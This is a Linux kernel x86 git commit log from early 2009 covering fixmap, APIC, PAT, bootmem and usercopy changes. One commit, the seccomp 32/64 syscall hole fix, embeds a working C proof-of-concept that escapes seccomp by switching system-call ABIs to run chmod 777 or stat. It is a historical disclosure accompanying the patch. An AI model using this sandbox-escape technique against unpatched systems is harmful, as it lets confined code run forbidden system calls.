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Dimitri Sivanich
acaabe795a x86: UV, SGI RTC: add generic system vector
This patch allocates a system interrupt vector for various platform
specific uses.

Signed-off-by: Dimitri Sivanich <sivanich@sgi.com>
Cc: Andrew Morton <akpm@linux-foundation.org>
Cc: john stultz <johnstul@us.ibm.com>
LKML-Reference: <20090304185605.GA24419@sgi.com>
Signed-off-by: Ingo Molnar <mingo@elte.hu>
2009-03-04 20:25:37 +01:00
Jeremy Fitzhardinge
4e8304758c x86: remove vestigial fix_ioremap prototypes
The function seems to have disappeared at some point, leaving
some vestigial prototypes behind...

Signed-off-by: Jeremy Fitzhardinge <jeremy.fitzhardinge@citrix.com>
Signed-off-by: Ingo Molnar <mingo@elte.hu>
2009-03-04 02:29:32 +01:00
Ingo Molnar
91d75e209b Merge branch 'x86/core' into core/percpu 2009-03-04 02:29:19 +01:00
Ingo Molnar
8b0e5860cb Merge branches 'x86/apic', 'x86/cpu', 'x86/fixmap', 'x86/mm', 'x86/sched', 'x86/setup-lzma', 'x86/signal' and 'x86/urgent' into x86/core 2009-03-04 02:22:31 +01:00
Pekka Enberg
867c5b5292 x86: set_highmem_pages_init() cleanup
Impact: cleanup

This patch moves set_highmem_pages_init() to arch/x86/mm/highmem_32.c.

The declaration of the function is kept in asm/numa_32.h because
asm/highmem.h is included only if CONFIG_HIGHMEM is enabled so we
can't put the empty static inline function there.

Signed-off-by: Pekka Enberg <penberg@cs.helsinki.fi>
LKML-Reference: <1236082212.2675.24.camel@penberg-laptop>
Signed-off-by: Ingo Molnar <mingo@elte.hu>
2009-03-03 13:13:15 +01:00
Roland McGrath
5b1017404a x86-64: seccomp: fix 32/64 syscall hole
On x86-64, a 32-bit process (TIF_IA32) can switch to 64-bit mode with
ljmp, and then use the "syscall" instruction to make a 64-bit system
call.  A 64-bit process make a 32-bit system call with int $0x80.

In both these cases under CONFIG_SECCOMP=y, secure_computing() will use
the wrong system call number table.  The fix is simple: test TS_COMPAT
instead of TIF_IA32.  Here is an example exploit:

	/* test case for seccomp circumvention on x86-64

	   There are two failure modes: compile with -m64 or compile with -m32.

	   The -m64 case is the worst one, because it does "chmod 777 ." (could
	   be any chmod call).  The -m32 case demonstrates it was able to do
	   stat(), which can glean information but not harm anything directly.

	   A buggy kernel will let the test do something, print, and exit 1; a
	   fixed kernel will make it exit with SIGKILL before it does anything.
	*/

	#define _GNU_SOURCE
	#include <assert.h>
	#include <inttypes.h>
	#include <stdio.h>
	#include <linux/prctl.h>
	#include <sys/stat.h>
	#include <unistd.h>
	#include <asm/unistd.h>

	int
	main (int argc, char **argv)
	{
	  char buf[100];
	  static const char dot[] = ".";
	  long ret;
	  unsigned st[24];

	  if (prctl (PR_SET_SECCOMP, 1, 0, 0, 0) != 0)
	    perror ("prctl(PR_SET_SECCOMP) -- not compiled into kernel?");

	#ifdef __x86_64__
	  assert ((uintptr_t) dot < (1UL << 32));
	  asm ("int $0x80 # %0 <- %1(%2 %3)"
	       : "=a" (ret) : "0" (15), "b" (dot), "c" (0777));
	  ret = snprintf (buf, sizeof buf,
			  "result %ld (check mode on .!)\n", ret);
	#elif defined __i386__
	  asm (".code32\n"
	       "pushl %%cs\n"
	       "pushl $2f\n"
	       "ljmpl $0x33, $1f\n"
	       ".code64\n"
	       "1: syscall # %0 <- %1(%2 %3)\n"
	       "lretl\n"
	       ".code32\n"
	       "2:"
	       : "=a" (ret) : "0" (4), "D" (dot), "S" (&st));
	  if (ret == 0)
	    ret = snprintf (buf, sizeof buf,
			    "stat . -> st_uid=%u\n", st[7]);
	  else
	    ret = snprintf (buf, sizeof buf, "result %ld\n", ret);
	#else
	# error "not this one"
	#endif

	  write (1, buf, ret);

	  syscall (__NR_exit, 1);
	  return 2;
	}

Signed-off-by: Roland McGrath <roland@redhat.com>
[ I don't know if anybody actually uses seccomp, but it's enabled in
  at least both Fedora and SuSE kernels, so maybe somebody is. - Linus ]
Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
2009-03-02 15:41:30 -08:00
Jeremy Fitzhardinge
9976b39b50 xen: deal with virtually mapped percpu data
The virtually mapped percpu space causes us two problems:

 - for hypercalls which take an mfn, we need to do a full pagetable
   walk to convert the percpu va into an mfn, and

 - when a hypercall requires a page to be mapped RO via all its aliases,
   we need to make sure its RO in both the percpu mapping and in the
   linear mapping

This primarily affects the gdt and the vcpu info structure.

Signed-off-by: Jeremy Fitzhardinge <jeremy.fitzhardinge@citrix.com>
Cc: Xen-devel <xen-devel@lists.xensource.com>
Cc: Gerd Hoffmann <kraxel@redhat.com>
Cc: Rusty Russell <rusty@rustcorp.com.au>
Cc: Tejun Heo <htejun@gmail.com>
Signed-off-by: Ingo Molnar <mingo@elte.hu>
2009-03-02 12:58:19 +01:00
Jeremy Fitzhardinge
2fb6b2a048 x86: add forward decl for tss_struct
Its the correct thing to do before using the struct in a prototype.

Signed-off-by: Jeremy Fitzhardinge <jeremy.fitzhardinge@citrix.com>
Signed-off-by: Ingo Molnar <mingo@elte.hu>
2009-03-02 12:07:49 +01:00
Jeremy Fitzhardinge
389d1fb11e x86: unify chunks of kernel/process*.c
With x86-32 and -64 using the same mechanism for managing the
tss io permissions bitmap, large chunks of process*.c are
trivially unifyable, including:

 - exit_thread
 - flush_thread
 - __switch_to_xtra (along with tsc enable/disable)

and as bonus pickups:

 - sys_fork
 - sys_vfork

(Note: asmlinkage expands to empty on x86-64)

Signed-off-by: Jeremy Fitzhardinge <jeremy.fitzhardinge@citrix.com>
Signed-off-by: Ingo Molnar <mingo@elte.hu>
2009-03-02 12:07:48 +01:00
Jeremy Fitzhardinge
db949bba3c x86-32: use non-lazy io bitmap context switching
Impact: remove 32-bit optimization to prepare unification

x86-32 and -64 differ in the way they context-switch tasks
with io permission bitmaps.  x86-64 simply copies the next
tasks io bitmap into place (if any) on context switch.  x86-32
invalidates the bitmap on context switch, so that the next
IO instruction will fault; at that point it installs the
appropriate IO bitmap.

This makes context switching IO-bitmap-using tasks a bit more
less expensive, at the cost of making the next IO instruction
slower due to the extra fault.  This tradeoff only makes sense
if IO-bitmap-using processes are relatively common, but they
don't actually use IO instructions very often.

However, in a typical desktop system, the only process likely
to be using IO bitmaps is the X server, and nothing at all on
a server.  Therefore the lazy context switch doesn't really win
all that much, and its just a gratuitious difference from
64-bit code.

This patch removes the lazy context switch, with a view to
unifying this code in a later change.

Signed-off-by: Jeremy Fitzhardinge <jeremy.fitzhardinge@citrix.com>
Signed-off-by: Ingo Molnar <mingo@elte.hu>
2009-03-02 12:07:48 +01:00
Ingo Molnar
f180053694 x86, mm: dont use non-temporal stores in pagecache accesses
Impact: standardize IO on cached ops

On modern CPUs it is almost always a bad idea to use non-temporal stores,
as the regression in this commit has shown it:

  30d697f: x86: fix performance regression in write() syscall

The kernel simply has no good information about whether using non-temporal
stores is a good idea or not - and trying to add heuristics only increases
complexity and inserts fragility.

The regression on cached write()s took very long to be found - over two
years. So dont take any chances and let the hardware decide how it makes
use of its caches.

The only exception is drivers/gpu/drm/i915/i915_gem.c: there were we are
absolutely sure that another entity (the GPU) will pick up the dirty
data immediately and that the CPU will not touch that data before the
GPU will.

Also, keep the _nocache() primitives to make it easier for people to
experiment with these details. There may be more clear-cut cases where
non-cached copies can be used, outside of filemap.c.

Cc: Salman Qazi <sqazi@google.com>
Cc: Nick Piggin <npiggin@suse.de>
Cc: Linus Torvalds <torvalds@linux-foundation.org>
Signed-off-by: Ingo Molnar <mingo@elte.hu>
2009-03-02 11:06:49 +01:00
Ingo Molnar
f5c1aa1537 Revert "gpu/drm, x86, PAT: PAT support for io_mapping_*"
This reverts commit 17581ad812.

Sitsofe Wheeler reported that /dev/dri/card0 is MIA on his EeePC 900
and bisected it to this commit.

Graphics card is an i915 in an EeePC 900:

 00:02.0 VGA compatible controller [0300]:
   Intel Corporation Mobile 915GM/GMS/910GML
     Express Graphics Controller [8086:2592] (rev 04)

( Most likely the ioremap() of the driver failed and hence the card
  did not initialize. )

Reported-by: Sitsofe Wheeler <sitsofe@yahoo.com>
Bisected-by: Sitsofe Wheeler <sitsofe@yahoo.com>
Cc: Venkatesh Pallipadi <venkatesh.pallipadi@intel.com>
Cc: Suresh Siddha <suresh.b.siddha@intel.com>
Signed-off-by: Ingo Molnar <mingo@elte.hu>
2009-03-01 12:47:49 +01:00
Tejun Heo
d0c4f57027 bootmem, x86: further fixes for arch-specific bootmem wrapping
Impact: fix new breakages introduced by previous fix

Commit c132937556 tried to clean up
bootmem arch wrapper but it wasn't quite correct.  Before the commit,
the followings were broken.

* Low level interface functions prefixed with __ ignored arch
  preference.

* reserve_bootmem(...) can't be mapped into
  reserve_bootmem_node(NODE_DATA(0)->bdata, ...) because the node is
  not preference here.  The region specified MUST fall into the
  specified region; otherwise, it will panic.

After the commit,

* If allocation fails for the arch preferred node, it should fallback
  to whatever is available.  Instead, it simply failed allocation.

There are too many internal details to allow generic wrapping and
still keep things simple for archs.  Plus, all that arch wants is a
way to prefer certain node over another.

This patch drops the generic wrapping around alloc_bootmem_core() and
add alloc_bootmem_core() instead.  If necessary, arch can define
bootmem_arch_referred_node() macro or function which takes all
allocation information and returns the preferred node.  bootmem
generic code will always try the preferred node first and then
fallback to other nodes as usual.

Breakages noted and changes reviewed by Johannes Weiner.

Signed-off-by: Tejun Heo <tj@kernel.org>
Acked-by: Johannes Weiner <hannes@cmpxchg.org>
2009-03-01 16:06:56 +09:00
Gustavo F. Padovan
c577b098f9 x86, fixmap: unify fixmap.h
Impact: unification

This patch unify fixmap_32.h and fixmap_64.h into fixmap.h.
Things that we can't merge now are using CONFIG_X86_{32,64}
(e.g.:vsyscall and EFI)

Signed-off-by: Gustavo F. Padovan <gustavo@las.ic.unicamp.br>
Acked-by: Glauber Costa <gcosta@redhat.com>
Signed-off-by: H. Peter Anvin <hpa@zytor.com>
2009-02-27 20:57:48 -08:00
Gustavo F. Padovan
c78f322ce8 x86, fixmap: prepare fixmap_32.h for unification
Impact: cleanup

Just prepare fixmap for later mechanic unification.
No real modification on code.

   text    data     bss     dec     hex filename
3831152  353188  372736 4557076  458914 vmlinux-32.after
3831152  353188  372736 4557076  458914 vmlinux-32.before

Signed-off-by: Gustavo F. Padovan <gustavo@las.ic.unicamp.br>
Acked-by: Glauber Costa <gcosta@redhat.com>
Signed-off-by: H. Peter Anvin <hpa@zytor.com>
2009-02-27 20:57:48 -08:00
Gustavo F. Padovan
e365bcd921 x86, fixmap: prepare fixmap_64.h for unification
Impact: cleanup

Just prepare fixmap for later mechanic unification.
No real modification on code.

  text    data     bss     dec     hex filename
4312362  527192  421924 5261478  5048a6 vmlinux-64.after
4312362  527192  421924 5261478  5048a6 vmlinux-64.before

Signed-off-by: Gustavo F. Padovan <gustavo@las.ic.unicamp.br>
Acked-by: Glauber Costa <gcosta@redhat.com>
Signed-off-by: H. Peter Anvin <hpa@zytor.com>
2009-02-27 20:57:48 -08:00
Gustavo F. Padovan
5f403fa9de x86, fixmap: add CONFIG_EFI
Impact: new fixmap allocation

FIX_EFI_IO_MAP_FIRST_PAGE is used only when EFI is enabled.

Signed-off-by: Gustavo F. Padovan <gustavo@las.ic.unicamp.br>
Acked-by: Glauber Costa <gcosta@redhat.com>
Signed-off-by: H. Peter Anvin <hpa@zytor.com>
2009-02-27 20:57:47 -08:00
Gustavo F. Padovan
2ae38daf25 x86, fixmap: add CONFIG_X86_{LOCAL,IO}_APIC
Impact: New fixmap allocations

Add CONFIG_X86_{LOCAL,IO}_APIC to enum fixed_address.
FIX_APIC_BASE is used only when CONFIG_X86_LOCAL_APIC is
enabled and FIX_IO_APIC_BASE_* are used only when
CONFIG_X86_IO_APIC is enabled.

Signed-off-by: Gustavo F. Padovan <gustavo@las.ic.unicamp.br>
Acked-by: Glauber Costa <gcosta@redhat.com>
Signed-off-by: H. Peter Anvin <hpa@zytor.com>
2009-02-27 20:57:47 -08:00
Gustavo F. Padovan
fd862dde18 x86, fixmap: define reserve_top_address for x86_64
Impact: new interface (not yet use)

Define reserve_top_address for x86_64; only for later x86 integration.

Signed-off-by: Gustavo F. Padovan <gustavo@las.ic.unicamp.br>
Acked-by: Glauber Costa <gcosta@redhat.com>
Signed-off-by: H. Peter Anvin <hpa@zytor.com>
2009-02-27 20:57:47 -08:00
Gustavo F. Padovan
ab93e3c45d x86, fixmap: define FIXADDR_BOOT_* and redefine FIX_ADDR_SIZE
Impact: new interface, not yet used

Now, with these macros, x86_64 code can know where start the
permanent and non-permanent fixed mapped address.
This patch make these macros equal fixmap_32.h for future
x86 integration.

Signed-off-by: Gustavo F. Padovan <gustavo@las.ic.unicamp.br>
Acked-by: Glauber Costa <gcosta@redhat.com>
Signed-off-by: H. Peter Anvin <hpa@zytor.com>
2009-02-27 20:57:47 -08:00
Gustavo F. Padovan
d09375a9ec x86, fixmap: rename __FIXADDR_SIZE and __FIXADDR_BOOT_SIZE
Impact: rename

Rename __FIXADDR_SIZE to FIXADDR_SIZE
and __FIXADDR_BOOT_SIZE to FIXADDR_BOOT_SIZE.

Signed-off-by: Gustavo F. Padovan <gustavo@las.ic.unicamp.br>
Acked-by: Glauber Costa <gcosta@redhat.com>
Signed-off-by: H. Peter Anvin <hpa@zytor.com>
2009-02-27 20:57:47 -08:00
Ingo Molnar
1f5bcabf1b x86: apic: simplify secondary CPU wakeup methods
Impact: cleanup

- rename apic->wakeup_cpu  to apic->wakeup_secondary_cpu, to
  make it apparent that this is an SMP-only method

- handle NULL ->wakeup_secondary_cpus to mean the default INIT
  wakeup sequence - this allows simplification of the APIC
  driver templates.

Cc: Yinghai Lu <yinghai@kernel.org>
Signed-off-by: Ingo Molnar <mingo@elte.hu>
2009-02-26 13:58:26 +01:00
Ingo Molnar
0917c01f8e x86: remove update_apic from x86_quirks, fix
Impact: build fix

wakeup_secondary_cpu_via_init(), the default platform method for
booting a secondary CPU, is always used on UP due to probe_32.c,
if CONFIG_X86_LOCAL_APIC is enabled but SMP is off.

So provide a UP wrapper inline as well.

Cc: Yinghai Lu <yinghai@kernel.org>
Signed-off-by: Ingo Molnar <mingo@elte.hu>
2009-02-26 12:49:34 +01:00
Yinghai Lu
129d8bc828 x86: don't compile vsmp_64 for 32bit
Impact: cleanup

that is only needed when CONFIG_X86_VSMP is defined with 64bit
also remove dead code about PCI, because CONFIG_X86_VSMP depends on PCI

Signed-off-by: Yinghai Lu <yinghai@kernel.org>
Cc: Ravikiran Thirumalai <kiran@scalex86.org>
Signed-off-by: Ingo Molnar <mingo@elte.hu>
2009-02-26 06:40:06 +01:00
Yinghai Lu
2b6163bf57 x86: remove update_apic from x86_quirks
Impact: cleanup

x86_quirks->update_apic() calling looks crazy. so try to remove it:

 1. every apic take wakeup_cpu member directly
 2. separate es7000_apic to es7000_apic_cluster
 3. use uv_wakeup_cpu directly

Signed-off-by: Yinghai Lu <yinghai@kernel.org>
Signed-off-by: Ingo Molnar <mingo@elte.hu>
2009-02-26 06:32:25 +01:00
Ingo Molnar
ecc25fbd6b Merge branches 'x86/apic', 'x86/defconfig', 'x86/memtest', 'x86/mm' and 'linus' into x86/core 2009-02-26 06:31:32 +01:00
Ingo Molnar
801c0be814 Merge branches 'x86/urgent' and 'x86/pat' into x86/core
Conflicts:
	arch/x86/include/asm/pat.h
2009-02-26 06:31:23 +01:00
Ingo Molnar
13b2eda64d Merge branch 'x86/urgent' into x86/core
Conflicts:
	arch/x86/mach-voyager/voyager_smp.c
2009-02-26 06:30:42 +01:00
Ingo Molnar
2e31add2a7 Merge branch 'x86/urgent' into x86/pat 2009-02-25 16:40:10 +01:00
Venkatesh Pallipadi
17581ad812 gpu/drm, x86, PAT: PAT support for io_mapping_*
Make io_mapping_create_wc and io_mapping_free go through PAT to make sure
that there are no memory type aliases.

Signed-off-by: Venkatesh Pallipadi <venkatesh.pallipadi@intel.com>
Signed-off-by: Suresh Siddha <suresh.b.siddha@intel.com>
Cc: Dave Airlie <airlied@redhat.com>
Cc: Jesse Barnes <jbarnes@virtuousgeek.org>
Cc: Eric Anholt <eric@anholt.net>
Cc: Keith Packard <keithp@keithp.com>
Signed-off-by: Ingo Molnar <mingo@elte.hu>
2009-02-25 13:09:52 +01:00
Venkatesh Pallipadi
4ab0d47d0a gpu/drm, x86, PAT: io_mapping_create_wc and resource_size_t
io_mapping_create_wc should take a resource_size_t parameter in place of
unsigned long. With unsigned long, there will be no way to map greater than 4GB
address in i386/32 bit.

On x86, greater than 4GB addresses cannot be mapped on i386 without PAE. Return
error for such a case.

Patch also adds a structure for io_mapping, that saves the base, size and
type on HAVE_ATOMIC_IOMAP archs, that can be used to verify the offset on
io_mapping_map calls.

Signed-off-by: Venkatesh Pallipadi <venkatesh.pallipadi@intel.com>
Signed-off-by: Suresh Siddha <suresh.b.siddha@intel.com>
Cc: Dave Airlie <airlied@redhat.com>
Cc: Jesse Barnes <jbarnes@virtuousgeek.org>
Cc: Eric Anholt <eric@anholt.net>
Cc: Keith Packard <keithp@keithp.com>
Signed-off-by: Ingo Molnar <mingo@elte.hu>
2009-02-25 13:09:51 +01:00
Venkatesh Pallipadi
7880f74645 gpu/drm, x86, PAT: routine to keep identity map in sync
Add a function to check and keep identity maps in sync, when changing
any memory type. One of the follow on patches will also use this
routine.

Signed-off-by: Venkatesh Pallipadi <venkatesh.pallipadi@intel.com>
Signed-off-by: Suresh Siddha <suresh.b.siddha@intel.com>
Cc: Dave Airlie <airlied@redhat.com>
Cc: Jesse Barnes <jbarnes@virtuousgeek.org>
Cc: Eric Anholt <eric@anholt.net>
Cc: Keith Packard <keithp@keithp.com>
Signed-off-by: Ingo Molnar <mingo@elte.hu>
2009-02-25 13:09:51 +01:00
Ingo Molnar
95108fa34a x86: usercopy: check for total size when deciding non-temporal cutoff
Impact: make more types of copies non-temporal

This change makes the following simple fix:

  30d697f: x86: fix performance regression in write() syscall

A bit more sophisticated: we check the 'total' number of bytes
written to decide whether to copy in a cached or a non-temporal
way.

This will for example cause the tail (modulo 4096 bytes) chunk
of a large write() to be non-temporal too - not just the page-sized
chunks.

Cc: Salman Qazi <sqazi@google.com>
Cc: Nick Piggin <npiggin@suse.de>
Cc: Linus Torvalds <torvalds@linux-foundation.org>
Signed-off-by: Ingo Molnar <mingo@elte.hu>
2009-02-25 10:20:05 +01:00
Ingo Molnar
3255aa2eb6 x86, mm: pass in 'total' to __copy_from_user_*nocache()
Impact: cleanup, enable future change

Add a 'total bytes copied' parameter to __copy_from_user_*nocache(),
and update all the callsites.

The parameter is not used yet - architecture code can use it to
more intelligently decide whether the copy should be cached or
non-temporal.

Cc: Salman Qazi <sqazi@google.com>
Cc: Nick Piggin <npiggin@suse.de>
Cc: Linus Torvalds <torvalds@linux-foundation.org>
Signed-off-by: Ingo Molnar <mingo@elte.hu>
2009-02-25 10:20:03 +01:00
Ingo Molnar
95f66b3770 Merge branch 'x86/asm' into x86/mm 2009-02-25 08:27:46 +01:00
Tejun Heo
d325100504 x86: convert cacheflush macros inline functions
Impact: cleanup

Unused macro parameters cause spurious unused variable warnings.
Convert all cacheflush macros to inline functions to avoid the
warnings and achieve better type checking.

Signed-off-by: Tejun Heo <tj@kernel.org>
2009-02-25 11:06:51 +09:00
Ingo Molnar
0edcf8d692 Merge branch 'tj-percpu' of git://git.kernel.org/pub/scm/linux/kernel/git/tj/misc into core/percpu
Conflicts:
	arch/x86/include/asm/pgtable.h
2009-02-24 21:52:45 +01:00
Ingo Molnar
a852cbfaaf Merge branches 'x86/acpi', 'x86/apic', 'x86/asm', 'x86/cleanups', 'x86/mm', 'x86/signal' and 'x86/urgent'; commit 'v2.6.29-rc6' into x86/core 2009-02-24 21:50:43 +01:00
Cyrill Gorcunov
57e372932c x86: invalid_vm86_irq -- use predefined macros
Impact: cleanup

Signed-off-by: Cyrill Gorcunov <gorcunov@openvz.org>
Cc: heukelum@fastmail.fm
Cc: Cyrill Gorcunov <gorcunov@openvz.org>
Signed-off-by: Ingo Molnar <mingo@elte.hu>
2009-02-24 18:08:39 +01:00
Salman Qazi
30d697fa3a x86: fix performance regression in write() syscall
While the introduction of __copy_from_user_nocache (see commit:
0812a579c9) may have been an improvement
for sufficiently large writes, there is evidence to show that it is
deterimental for small writes.  Unixbench's fstime test gives the
following results for 256 byte writes with MAX_BLOCK of 2000:

    2.6.29-rc6 ( 5 samples, each in KB/sec ):
    283750, 295200, 294500, 293000, 293300

    2.6.29-rc6 + this patch (5 samples, each in KB/sec):
    313050, 3106750, 293350, 306300, 307900

    2.6.18
    395700, 342000, 399100, 366050, 359850

    See w_test() in src/fstime.c in unixbench version 4.1.0.  Basically, the above test
    consists of counting how much we can write in this manner:

    alarm(10);
    while (!sigalarm) {
            for (f_blocks = 0; f_blocks < 2000; ++f_blocks) {
                   write(f, buf, 256);
            }
            lseek(f, 0L, 0);
    }

Note, there are other components to the write syscall regression
that are not addressed here.

Signed-off-by: Salman Qazi <sqazi@google.com>
Cc: Linus Torvalds <torvalds@linux-foundation.org>
Signed-off-by: Ingo Molnar <mingo@elte.hu>
2009-02-24 17:16:36 +01:00
Tejun Heo
458a3e644c x86: update populate_extra_pte() and add populate_extra_pmd()
Impact: minor change to populate_extra_pte() and addition of pmd flavor

Update populate_extra_pte() to return pointer to the pte_t for the
specified address and add populate_extra_pmd() which only populates
till the pmd and returns pointer to the pmd entry for the address.

For 64bit, pud/pmd/pte fill functions are separated out from
set_pte_vaddr[_pud]() and used for set_pte_vaddr[_pud]() and
populate_extra_{pte|pmd}().

Signed-off-by: Tejun Heo <tj@kernel.org>
2009-02-24 11:57:21 +09:00
Tejun Heo
c132937556 bootmem: clean up arch-specific bootmem wrapping
Impact: cleaner and consistent bootmem wrapping

By setting CONFIG_HAVE_ARCH_BOOTMEM_NODE, archs can define
arch-specific wrappers for bootmem allocation.  However, this is done
a bit strangely in that only the high level convenience macros can be
changed while lower level, but still exported, interface functions
can't be wrapped.  This not only is messy but also leads to strange
situation where alloc_bootmem() does what the arch wants it to do but
the equivalent __alloc_bootmem() call doesn't although they should be
able to be used interchangeably.

This patch updates bootmem such that archs can override / wrap the
backend function - alloc_bootmem_core() instead of the highlevel
interface functions to allow simpler and consistent wrapping.  Also,
HAVE_ARCH_BOOTMEM_NODE is renamed to HAVE_ARCH_BOOTMEM.

Signed-off-by: Tejun Heo <tj@kernel.org>
Cc: Johannes Weiner <hannes@saeurebad.de>
2009-02-24 11:57:20 +09:00
Ingo Molnar
8e6dafd6c7 x86: refactor x86_quirks support
Impact: cleanup

Make x86_quirks support more transparent. The highlevel
methods are now named:

  extern void x86_quirk_pre_intr_init(void);
  extern void x86_quirk_intr_init(void);

  extern void x86_quirk_trap_init(void);

  extern void x86_quirk_pre_time_init(void);
  extern void x86_quirk_time_init(void);

This makes it clear that if some platform extension has to
do something here that it is considered ... weird, and is
discouraged.

Also remove arch_hooks.h and move it into setup.h (and other
header files where appropriate).

Signed-off-by: Ingo Molnar <mingo@elte.hu>
2009-02-23 00:08:11 +01:00
Ingo Molnar
d85a881d78 x86: remove various unused subarch hooks
Impact: remove dead code

Remove:

 - pre_setup_arch_hook()
 - mca_nmi_hook()

If needed they can be added back via an x86_quirk handler.

Signed-off-by: Ingo Molnar <mingo@elte.hu>
2009-02-23 00:06:49 +01:00
Ingo Molnar
965c7ecaf2 x86: remove the Voyager 32-bit subarch
Impact: remove unused/broken code

The Voyager subarch last built successfully on the v2.6.26 kernel
and has been stale since then and does not build on the v2.6.27,
v2.6.28 and v2.6.29-rc5 kernels.

No actual users beyond the maintainer reported this breakage.
Patches were sent and most of the fixes were accepted but the
discussion around how to do a few remaining issues cleanly
fizzled out with no resolution and the code remained broken.

In the v2.6.30 x86 tree development cycle 32-bit subarch support
has been reworked and removed - and the Voyager code, beyond the
build problems already known, needs serious and significant
changes and probably a rewrite to support it.

CONFIG_X86_VOYAGER has been marked BROKEN then. The maintainer has
been notified but no patches have been sent so far to fix it.

While all other subarchs have been converted to the new scheme,
voyager is still broken. We'd prefer to receive patches which
clean up the current situation in a constructive way, but even in
case of removal there is no obstacle to add that support back
after the issues have been sorted out in a mutually acceptable
fashion.

So remove this inactive code for now.

Signed-off-by: Ingo Molnar <mingo@elte.hu>
2009-02-23 00:54:01 +01:00
Ingo Molnar
fc6fc7f1b1 Merge branch 'linus' into x86/apic
Conflicts:
	arch/x86/mach-default/setup.c

Semantic conflict resolution:
	arch/x86/kernel/setup.c

Signed-off-by: Ingo Molnar <mingo@elte.hu>
2009-02-22 20:05:19 +01:00
Suresh Siddha
ef1f87aa7b x86: select x2apic ops in early apic probe only if x2apic mode is enabled
If BIOS hands over the control to OS in legacy xapic mode, select
legacy xapic related ops in the early apic probe and shift to x2apic
ops later in the boot sequence, only after enabling x2apic mode.

If BIOS hands over the control in x2apic mode, select x2apic related
ops in the early apic probe.

This fixes the early boot panic, where we were selecting x2apic ops,
while the cpu is still in legacy xapic mode.

Signed-off-by: Suresh Siddha <suresh.b.siddha@intel.com>
Cc: Yinghai Lu <yinghai@kernel.org>
Cc: Andrew Morton <akpm@linux-foundation.org>
Signed-off-by: Ingo Molnar <mingo@elte.hu>
2009-02-22 18:20:50 +01:00
Ingo Molnar
d951734654 x86, mm: rename TASK_SIZE64 => TASK_SIZE_MAX
Impact: cleanup

Rename TASK_SIZE64 to TASK_SIZE_MAX, and provide the
define on 32-bit too. (mapped to TASK_SIZE)

This allows 32-bit code to make use of the (former-) TASK_SIZE64
symbol as well, in a clean way.

Cc: Linus Torvalds <torvalds@linux-foundation.org>
Signed-off-by: Ingo Molnar <mingo@elte.hu>
2009-02-21 00:09:44 +01:00
Ingo Molnar
609162850d Merge branches 'x86/asm', 'x86/cleanups' and 'x86/headers' into x86/core 2009-02-20 17:40:50 +01:00
Ingo Molnar
3b6f7b9beb Merge branch 'x86/urgent' into x86/core 2009-02-20 17:40:43 +01:00